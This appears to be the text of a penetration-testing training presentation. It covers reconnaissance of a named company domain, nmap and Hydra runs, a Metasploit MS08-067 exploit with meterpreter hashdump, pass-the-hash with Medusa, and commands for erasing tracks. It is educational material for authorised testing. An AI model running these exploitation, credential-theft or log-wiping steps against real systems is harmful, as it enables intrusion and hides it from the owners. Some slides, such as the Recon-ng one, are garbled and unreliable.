Pentesting

Jacco van Tuijl
06 24979798
jacco@owaps.org
Pentesting

What?
• Servers, mobile devices, embedded devices, networks, RF, (web) application security, physical security and the human.

Goal?
• Identify vulnerabilities and advice about risk and possible solutions.

How?
Pentest phases

1. Preparation
2. Foot-printing
3. Finger-printing
4. Vulnerability assessment
5. Verification and exploitation
6. Post exploitation
7. Report
Preparation

- Scope / goal / targets
- Signed pentest waiver (also 3rd party)
- Date and time of execution
- Black box / gray box / crystal box
- Intrusive / non intrusive
- Privileged / non privileged
- Internet / LAN
- With or without informing other employees
Foot-printing

- Open sources like Google, newspaper, website, www.code1000.com (dutch), social media, etc
## DNS Records

### Number of IP Records (after resolving CNAME:s and CDN analysis and deduplication):
- 1

### Number of name servers in zone:
- 3

### Number of mail servers:
- 5

<table>
<thead>
<tr>
<th>IP Records</th>
</tr>
</thead>
<tbody>
<tr>
<td>194.151.67.182</td>
</tr>
<tr>
<td>ns1.sogeti.nl</td>
</tr>
<tr>
<td>ns2.sogeti.nl</td>
</tr>
<tr>
<td>ns3.sogeti.nl</td>
</tr>
<tr>
<td>mx1.capgemini.com</td>
</tr>
<tr>
<td>mx2.capgemini.com</td>
</tr>
<tr>
<td>barracuda1.sogeti.nl</td>
</tr>
<tr>
<td>barracuda2.sogeti.nl</td>
</tr>
<tr>
<td>smtp3.sogeti.nl</td>
</tr>
</tbody>
</table>
DNS Tools

- Whois
- Zone transfer
- Sub-domains
- DNSmap, DNSenum, DNSBrute, DNSRecon
Whois

root@kali:~# whois sogeti.nl
Domain name: sogeti.nl
Status: active
Registrar:
  Sogeti Nederland B.V.
  Lange Dreef 17
  4131NJ VIANEN UT
  Netherlands
DNSSEC: no
Domain nameservers:
  ns1.sogeti.nl   194.151.67.67
  ns2.sogeti.nl   194.151.67.68
  ns3.sogeti.nl   80.112.236.195
Record maintained by: NL Domain Registry
DNSMap

Demo
IP addresses of sogeti.nl (1 shown)
What IP addresses does the hostname sogeti.nl point to?

194.151.67.182

Delegated name servers of sogeti.nl (3 shown)

NS1.SOGETI.NL
NS2.SOGETI.NL
NS3.SOGETI.NL

Mail servers of sogeti.nl (2 shown)

MX1.CAPGEMINI.COM
MX2.CAPGEMINI.COM

The IP addresses of the delegated name servers of sogeti.nl (3 shown)

80.112.236.195
194.151.67.67
194.151.67.68

The IP addresses of the mail servers of sogeti.nl (7 shown)

194.4.230.86
194.4.236.89
194.4.236.92
194.4.236.94
194.11.253.155
194.11.253.157
194.11.253.158

IP addresses of name servers of sogeti.nl (3 shown)

80.112.236.195
194.151.67.67
194.151.67.68

Domains using the same nameservers as sogeti.nl (28 shown)

METHEMEDIA.COM
SOGETIBOOKS.COM
TESTOPLEIDINGEN.COM
TESTTRAININGS.COM
TPINEXT.COM
TPINEXTMASTERS.COM
DYA.INFO
HOSKYN.S.IT
PROGRAMMATOR.ITAL
Abuse contact info: noc@ilsemedia.nl

<table>
<thead>
<tr>
<th>Role</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>inetnum:</td>
<td>62.69.164.0 - 62.69.167.255</td>
</tr>
<tr>
<td>netname:</td>
<td>ILSE-DIALUP-01</td>
</tr>
<tr>
<td>descr:</td>
<td>Sanoma Digital bv dialup pools</td>
</tr>
<tr>
<td>country:</td>
<td>NL</td>
</tr>
<tr>
<td>admin-c:</td>
<td>imbl1-RIPE</td>
</tr>
<tr>
<td>tech-c:</td>
<td>imbl1-RIPE</td>
</tr>
<tr>
<td>status:</td>
<td>ASSIGNED PA</td>
</tr>
<tr>
<td>mnt-by:</td>
<td>ILSE-MNT</td>
</tr>
<tr>
<td>source:</td>
<td>RIPE # Filtered</td>
</tr>
<tr>
<td>role:</td>
<td>ilse media bv technical role account</td>
</tr>
<tr>
<td>address:</td>
<td>Maassluisstraat 2</td>
</tr>
<tr>
<td>address:</td>
<td>1062 GD Amsterdam</td>
</tr>
<tr>
<td>address:</td>
<td>the Netherlands</td>
</tr>
<tr>
<td>phone:</td>
<td>+31 20 849 45 00</td>
</tr>
<tr>
<td>admin-c:</td>
<td>SSL2252-RIPE</td>
</tr>
<tr>
<td>tech-c:</td>
<td>SSL2252-RIPE</td>
</tr>
<tr>
<td>tech-c:</td>
<td>MLF12-RIPE</td>
</tr>
<tr>
<td>tech-c:</td>
<td>AM34A-RIPE</td>
</tr>
<tr>
<td>nic-hdl:</td>
<td>imbl1-RIPE</td>
</tr>
<tr>
<td>mnt-by:</td>
<td>ILSE-MNT</td>
</tr>
<tr>
<td>source:</td>
<td>RIPE # Filtered</td>
</tr>
<tr>
<td>route:</td>
<td>62.69.160.0/20</td>
</tr>
<tr>
<td>descr:</td>
<td>ilse media bv</td>
</tr>
</tbody>
</table>

pentesting presentation 11
DNS Zone transfer

- Host -la voorbeelddomein.nl
- dig @8.8.8.8 voorbeelddomein.nl axfr
- Nslookup

```
root@kali:~# nslookup
> server 8.8.8.8
Default server: 8.8.8.8
Address: 8.8.8.8#53
> set type=any
> ls -d voorbeelddomein.nl
```
Visual traceroute

Network Location Tool

 approximate geophysical location

locate a network
Remote Address sogeti.nl
Source MaxMind

network information
IP Address 194.151.67.182
Country Netherlands
Region 11
City Zoetermeer
Latitude 52.05
Longitude 4.5
Distance from Last (as the crow flies) 56.2 miles
Source MaxMind
Maltego

Pentesting presentation
The harvester

root@jackali:~# theharvester -d owasp.org -l 500 -b google

TheHarvester Ver. 2.5
* Coded by Christian Martorella
* Edge-Security Research
* cmartorella@edge-security.com

[-] Searching in Google:
  Searching 0 results...
  Searching 100 results...
  Searching 200 results...
  Searching 300 results...
  Searching 400 results...
  Searching 500 results...

[+] Emails found:
  nlok@owasp.org
  varius@owasp.org
  nlok@canardowasp.org
  jstein@owasp.org
  nlok@quarkswasp.org
Recon-ng

[Recon-ng]@BlackHillsInformationSecurity]

Consulting | Research | Development | Training

http://www.blackhillsinfosec.com

MAC Address: 00:24:BE:B9:4E:6C (Sony)

[71] - Recon modules: localhost, NONAME-VAIO; OSs: Windows, Windows 98; CPE: cpe:/o:mic

[7] - Reporting modules

[2] - Import modules

[2] - Explotation modules:emo.local (192.168.100.100)

[2] - Discovery modules)

Not shown: 996 closed ports

[recon-ng][default] > search

[*]: Searching for: 'recon'. Kolibri httpd 2.0

135/tcp open msrpc Microsoft Windows RPC

139-Recon open netbios-ssn Microsoft Windows 98 netbios-ssn

445-Recon open microsoft-ds Microsoft Windows XP microsoft-ds

MAC_recon/companies/contacts/facebooke

Serecon/companies/contacts/jigsaw/point_usage

recon/companies/contacts/jigsaw/search_contacts

Serecon/companies/contacts/jigsaw_auth

Nmap/recon/companies/contacts/linkedin_auth

root/recon/companies-multi/whois_miner
Finger-printing

• Portscan
• Crawlers
• Banner grabbing / service discovery
• Sniffing
• Enumeration (smb, ftp, snmp ....)
Poortscan

• Nmap
• Angry ip scanner
• Hping
# hping3 --scan known 1.2.3.4 -S

Scanning 1.2.3.4 (1.2.3.4), port known
245 ports to scan, use -V to see all the replies

<table>
<thead>
<tr>
<th>port</th>
<th>serv name</th>
<th>flags</th>
<th>ttl</th>
<th>id</th>
<th>win</th>
<th>len</th>
</tr>
</thead>
<tbody>
<tr>
<td>9</td>
<td>discard</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>13</td>
<td>daytime</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>21</td>
<td>ftp</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>22</td>
<td>ssh</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>25</td>
<td>smtp</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>37</td>
<td>time</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>80</td>
<td>www</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>111</td>
<td>sunrpc</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>113</td>
<td>auth</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>631</td>
<td>ipp</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>3306</td>
<td>mysql</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>6000</td>
<td>x11</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>32767</td>
<td>44</td>
</tr>
<tr>
<td>6667</td>
<td>ircd</td>
<td>.S..A...</td>
<td>64</td>
<td>0</td>
<td>3072</td>
<td>44</td>
</tr>
</tbody>
</table>

All replies received. Done.
Not responding ports:
NMAP (Demo)

```
root@bt:/usr/src/nmap# nmap www.nl

Starting Nmap 6.25 ( http://nmap.org ) at 2013-09-15 12:37 CEST
Warning: File ./nmap-services exists, but Nmap is using /usr/local/bin
r local directory (may affect the other data files too).
Nmap scan report for www.nl (194.192.192.186)
Host is up (0.013s latency).
rDNS record for 194.192.192.186: www.nl
Not shown: 996 filtered ports
PORT     STATE     SERVICE
80/tcp   open      http
110/tcp  open      pop3
443/tcp  open      https
1352/tcp open      lotusnotes

Nmap done: 1 IP address (1 host up) scanned in 4.87 seconds
root@bt:/usr/src/nmap#
```
Sniffing

- Wireshark / Tshark
- TCPdump
- USB, I2C, JTAG, CAN bus, RF, ethernet, etc.
- Side channel
Bus Pirate, logic analyzer, GoodFet, Shikra
RF

- Ubertooth
- RTL-SDR
- HackRF One
- Android device (NFCProxy)
- Proxmark III
Side channel

• Timing attack
• Power / Acoustic / Electromagnetic analysis
• Differential fault analysis (Poodle)
• Data remanence
• Row hammer
• File size, log size, memory consumption, CPU utilization, etc.
Side channel - timing

If (!userExists($USERNAME))
{UsernameOrPasswordIncorrect();}

If (userBanned($USERNAME))
{UsernameOrPasswordIncorrect();}

If (checkLogin($USERNAME,$PASSWORD))
{UsernameOrPasswordIncorrect();}
Vulnerability assessment

- Vulnerability scanners / crawlers / spiders
- Proxy
- Fuzzing
- Password attacks
- Cryptanalysis
- CVE, exploitDB(searchsploit), bugtraq, shodan
Vulnerability scanner / crawlers / spiders

- Vulnerability scanners
  Nessus, OpenVas, Nexpose, Core Impact, Qualys
- Web application security scanners
  Nikto, skipfish, arachni, acunetix, appscan
- Applicatie specifiek
  SAPScan, WPScan, Spscan, Joomscan
- Simpel crawling script
## Nessus

### Vulnerabilities Overview

<table>
<thead>
<tr>
<th>Severity</th>
<th>Plugin Name</th>
<th>Plugin Family</th>
<th>Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>CRITICAL</td>
<td>MS08-067: Microsoft Windows Server Service Crafted Request Meltdown</td>
<td>Windows</td>
<td>1</td>
</tr>
<tr>
<td>CRITICAL</td>
<td>MS09-001: Microsoft Windows SMB Vulnerabilities Remote Exploit</td>
<td>Windows</td>
<td>1</td>
</tr>
<tr>
<td>HIGH</td>
<td>PCI DSS compliance</td>
<td>Policy Compliance</td>
<td>14</td>
</tr>
<tr>
<td>HIGH</td>
<td>Apache HTTP Server Byte Range DoS</td>
<td>Web Servers</td>
<td>2</td>
</tr>
<tr>
<td>HIGH</td>
<td>Apache Struts2 action: Parameter Arbitrary Remote Command Execution</td>
<td>CGI abuses</td>
<td>2</td>
</tr>
<tr>
<td>HIGH</td>
<td>SNMP Agent Default Community Name (public)</td>
<td>SNMP</td>
<td>2</td>
</tr>
<tr>
<td>HIGH</td>
<td>Unsupported Web Server Detection</td>
<td>Web Servers</td>
<td>2</td>
</tr>
<tr>
<td>HIGH</td>
<td>Adobe ColdFusion 'locale' Parameter Directory Traversal</td>
<td>CGI abuses</td>
<td>1</td>
</tr>
</tbody>
</table>
Proxy

- OWASP ZAP
- WebScarab
- Burp suit
- IronWasp
- DIY script

```python
class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        self.copyfile(urllib.urlopen(self.path), self.wfile)
```
OWASP ZAP

Pentesting presentation
IronWasp

IronWASP 2014 beta

Project
- Vulnerabilities (22)
  - High (8)
    - http://localhost:9090/ (11)
      - Cookie SessionID missing the HttpOnly flag (1)
      - Session Fixation Found (1)
      - Charset Not Set By Server (7)
      - Sensitive Form loaded and submitted Insecurely (2)
  - Medium (11)
    - http://localhost:9090/ (3)
      - Server leaks version number (1)
      - AutoComplete Enabled on Password Fields (2)
- Low (3)
  - http://localhost:9090/ (3)
  - Test Leads
- Information (1)
- Exceptions
- SiteMap

Interactive Testing Tools

Console

Automated Scanning

Manual Testing

Scripting

Proxy

Logs

Scan Jobs

Scan Trace

When you start an automated scan from the 'Console' section or by right-clicking on the 'Sitemap', IronWASP splits the scan in to tiny units called Scan Jobs. These scan jobs are listed below in this table.

<table>
<thead>
<tr>
<th>SCAN ID</th>
<th>STATUS</th>
<th>METHOD</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>161</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/admin">http://localhost:9090/admin/admin/uploads/admin</a>...</td>
</tr>
<tr>
<td>162</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/uplo">http://localhost:9090/admin/admin/uploads/uplo</a>...</td>
</tr>
<tr>
<td>163</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/uplo">http://localhost:9090/admin/admin/uploads/uplo</a>...</td>
</tr>
<tr>
<td>164</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/uplo">http://localhost:9090/admin/admin/uploads/uplo</a>...</td>
</tr>
<tr>
<td>165</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/uplo">http://localhost:9090/admin/admin/uploads/uplo</a>...</td>
</tr>
<tr>
<td>166</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/admin">http://localhost:9090/admin/admin/uploads/admin</a>...</td>
</tr>
<tr>
<td>167</td>
<td>Queued</td>
<td>GET</td>
<td><a href="http://localhost:9090/admin/admin/uploads/admin">http://localhost:9090/admin/admin/uploads/admin</a>...</td>
</tr>
</tbody>
</table>

Stop All Scan Jobs

Let the Number of Parallel Scanner Threads Allowed: 1

Start All Stopped and Aborted Scan Jobs

Apply

Cancel
Burp suit
demo
FuzzDB

Checkout fuzzdb

github.com/fuzzdb-project
Fuzzing demo
Verification and exploitation

- Look at open services
- Exploits (metasploit/core impact/searchsploit/DIY)
- Debugging/decompressing/disassembling/recompilation
- Metasploit
- SQLMap
- Password and hash attacks
- Shell (root/administrator/system)
Look at open services

- `nc 192.124.102.88 1392`
- `Ncat 192.124.102.88 443`
- `telnet 192.124.102.88 1392`

www.*co.uk - /ftp/root/SQL Back
Debugging, decompiling, disassembling and RE

- IDA PRO
- OllyDBG
- GDB
- Dex2jar
- SWF Decompiler
- Binwalk
Searchsploit (demo)

<table>
<thead>
<tr>
<th>Description</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>FlashFXP 3.4.0 build 1145 - Remote Buffer Overflow</td>
<td>/windows/dos/3276.cpp</td>
</tr>
<tr>
<td>FlashFXP 4.1.8.1701 - Buffer Overflow Vulnerability</td>
<td>/windows/remote/18555.txt</td>
</tr>
<tr>
<td>FlashFXP 1.4 User Password Encryption Weakness</td>
<td>/windows/local/22564.c</td>
</tr>
</tbody>
</table>

root@jackali:~# "searchsploit FlashFXP"
Metasploit

msf > exit
root@kali:~# msfconsole
[*] Starting the Metasploit Framework console...

Payload caught by AV? Fly under the radar with Dynamic Payloads in Metasploit Pro -- learn more on http://rapid7.com/metasploit

= [ metasploit v4.11.0-2015011401 [core:4.11.0.pre.2015011401 api:1.0.0]]
+ -- --=[ 1387 exploits - 783 auxiliary - 223 post ]
+ -- --=[ 356 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
Metasploit (demo)

```bash
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:Dutch
[*] Selected Target: Windows XP SP3 Dutch (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (769024 bytes) to 10.3.10.22
[*] Meterpreter session 1 opened (10.211.55.4:42543 -> 10.3.10.22:4444) at 2014-01-13 14:47:08 +
meterpreter > ls

Listing: C:\WINDOWS\system32

-----------------------------------
Mode  Size  Type     Last modified       Name
----  ----  ----      ------------------  ----
100666/rw-rw-rw-  1621  fil       2012-10-01 18:52:42 +0200  $winnt$.inf
40777/rwxrwxrwx   0   dir       2014-01-13 07:21:23 +0100  ...
40777/rwxrwxrwx   0   dir       2013-12-02 17:36:42 +0100  ...
40777/rwxrwxrwx   0   dir       2012-06-15 13:30:22 +0200  1025
40777/rwxrwxrwx   0   dir       2012-06-15 13:30:22 +0200  1028
```

Pentesting presentation
Hashes (demo)

```
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY c2ec80f879c1b5dc8d264f1e2c37a45...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator: 500: 81cbcea8a9af93bbaad3b435b51404ee: 561cbdael3ed5abd30aa94ddeb3cf52d:::
Guest: 501: aad3b435b51404eaaad3b435b51404ee: 31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant: 1000: 9a6ae2640b0629ddc621c90c897b42d: 07a59debe14e2ea9c4792e2f189e2de3a:::
SUPPORT_388945a0: 1002: aad3b435b51404eaaad3b435b51404ee: ebf9fa44b3204029db5a8a77f5350160:::
victim: 1004: 81cbcea8a9af93bbaad3b435b51404ee: 561cbdael3ed5abd30aa94ddeb3cf52d:::
```
Password and hash attacks

- Bruteforce / dictionary / wordlist
- Hash cracking
- Pass-the-hash
Dictionary & Crunch

FuzzDB
Wiki.skullsecurity.org/Passwords

- crunch 1 1 -t @ -u > wordlist-subdomains.txt
- crunch 2 2 -t @% -u >> wordlist-subdomains.txt
- crunch 2 2 -t @@ -u >> wordlist-subdomains.txt
- crunch 3 3 -t @@% -u >> wordlist-subdomains.txt
- crunch 3 3 -t @@@ -u >> wordlist-subdomains.txt
- crunch 4 4 -t @@@@% -u >> wordlist-subdomains.txt
- crunch 4 4 -t @@@@@ -u >> wordlist-subdomains.txt
- crunch 5 5 -t @@@@@@ -u >> wordlist-subdomains.txt
Bruteforce – THC Hydra

```
root@bt4: # hydra 192.168.1.1 -L /wordlists/login.txt -P /wordlists/ap_password.txt -t 1 -e ns -f -V http-get /index.asp
Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2009-10-14 09:38:19
[DATA] 1 tasks, 1 servers, 616032 login tries (l:713/p:864), ~616032 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.1.1 - login "" - pass "" - child 0 - 1 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""!root"" - child 0 - 4 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass "$SSRV"" - child 0 - 5 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""*3noguru"" - child 0 - 6 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""1"" - child 0 - 7 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""1111"" - child 0 - 8 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""11111"" - child 0 - 9 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""111111"" - child 0 - 10 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""1234"" - child 0 - 11 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""12345"" - child 0 - 12 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""123456"" - child 0 - 13 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""12345678"" - child 0 - 14 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""1322222"" - child 0 - 16 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""1582"" - child 0 - 17 of 616032
[ATTEMPT] target 192.168.1.1 - login "" - pass ""166816"" - child 0 - 18 of 616032
```
Hash Cracking

- John the ripper
- CloudCracker.com
- oclHashcat
- ElcomSoft
- BarsWF
BarsWF MD5 bruteforcer v0.7
by Svarychevski Michail

GPU0: 369.74 MHash/sec  CPU0: 52.25 MHash/sec
GPU1: 462.17 MHash/sec  CPU1: 52.18 MHash/sec
GPU2: 462.17 MHash/sec  CPU2: 51.59 MHash/sec
      CPU3: 51.83 MHash/sec
      CPU4: 51.76 MHash/sec
      CPU5: 52.23 MHash/sec
      CPU6: 52.21 MHash/sec
      CPU7: 51.74 MHash/sec

GPU*: 1294.08 MHash/sec  CPU*: 415.79 MHash/sec

Key: l'q +J  Avg.Total: 1705.22 MHash/sec
Hash:21685d282d79098b89bdf5a916b66c90
Progress: 86.21% ETC  0 days 0 hours 0 min 35 sec

Key is: =superq=
Press any key to exit
Pass-The-Hash

Cracking hashes is not always needed: Just pass-the-hash with:

- Pass-the-hash toolkit
- Mimikatz
- Medusa
- THC hydra
- FreeRDP

```
root@pwnnowyou:~# medusa -H IPs.txt -C hashfortester.txt -M smbnt -m PASS:HASH
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / FooFus Networks <jm@foofus.net>
ACCOUNT CHECK: [smbnt] Host: 192.168.104.146 (1 of 1, 0 complete) User: Tester (1404eeaed3b435b51404ee:8846f78ee8f8f17add36bddd830758cc::: [1 of 1 complete])
ACCOUNT FOUND: [smbnt] Host: 192.168.104.146 User: Tester Password: aad3b435b5145ebd2a80886b3d4c82d0
```

Demo
Cryptanalysis

- Known plain text
- Brute force
- Implementation
- Replay, MIT, backdoors
- Side channel
- Rubber-hose
Post exploitation

- Pivoting / tunneling
- Backdoors
- Privilege escalation
- Hardening & patching
- Erasing tracks
Pivoting and tunneling

- Route add
- METERPRETER > run autoroute –h
- Plink, fport, nc, ncat, OpenVPN and SSH
- iodine, httptunnel (covert channels)
Erasing tracks

- history -c && exit
- zapper
- METERPRETER > clearrev
- clearlogs.exe
- Ccleaner.exe /AUTO /METHOD “0-3”
- Log flooding
- Timestompmp (MACE attributes NTFS)
Report

• What did you research and what was the goal?
• What did you not research?
• What did you find?
• Finding, cause, impact and solution
• Risk estimation and prioritizing
Risk rating

• CVSS
• OWASP risk rating
OWASP risk rating

<table>
<thead>
<tr>
<th>Threat agent factors</th>
<th>Vulnerability factors</th>
</tr>
</thead>
<tbody>
<tr>
<td>Skill level</td>
<td>Ease of discovery</td>
</tr>
<tr>
<td>5</td>
<td>3</td>
</tr>
<tr>
<td>Motive</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td></td>
</tr>
<tr>
<td>Opportunity</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td></td>
</tr>
<tr>
<td>Size</td>
<td></td>
</tr>
<tr>
<td>1</td>
<td></td>
</tr>
<tr>
<td>Overall likelihood=4.375 (MEDIUM)</td>
<td></td>
</tr>
</tbody>
</table>

Next, the tester needs to figure out the overall impact. The process is similar here. In many cases the answer will be obvious, but the tester can make an estimate based on the factors, or they can average the scores for each of the factors. Again, less than 3 is low, 3 to less than 6 is medium, and 6 to 9 is high. For example:

<table>
<thead>
<tr>
<th>Technical Impact</th>
<th>Business Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of confidentiality</td>
<td>Financial damage</td>
</tr>
<tr>
<td>Loss of integrity</td>
<td>Reputation damage</td>
</tr>
<tr>
<td>Loss of availability</td>
<td>Non-compliance</td>
</tr>
<tr>
<td>Loss of accountability</td>
<td>Privacy violation</td>
</tr>
<tr>
<td>9</td>
<td>1</td>
</tr>
<tr>
<td>7</td>
<td>2</td>
</tr>
<tr>
<td>5</td>
<td>1</td>
</tr>
<tr>
<td>6</td>
<td>5</td>
</tr>
<tr>
<td>Overall technical impact=7.25 (HIGH)</td>
<td></td>
</tr>
<tr>
<td>Overall business impact=2.25 (LOW)</td>
<td></td>
</tr>
</tbody>
</table>

Determining Severity

However the tester arrives at the likelihood and impact estimates, they can now combine them to get a final severity rating for this risk. Note that if they have good business impact information, they should use that instead of the technical impact information. But if they have no information about the business, then technical impact is the next best thing.
More info

- Securitytube.net
- ptes.org
- OWASP
- CEH & LPT / OSCP / OSCE
- Hacker / security events:
  - Hardwear.io
  - Hack in The Box Amsterdam 2016
  - 32c3 - Hamburg
  - OWASP Meetings & AppSec
  - Brucon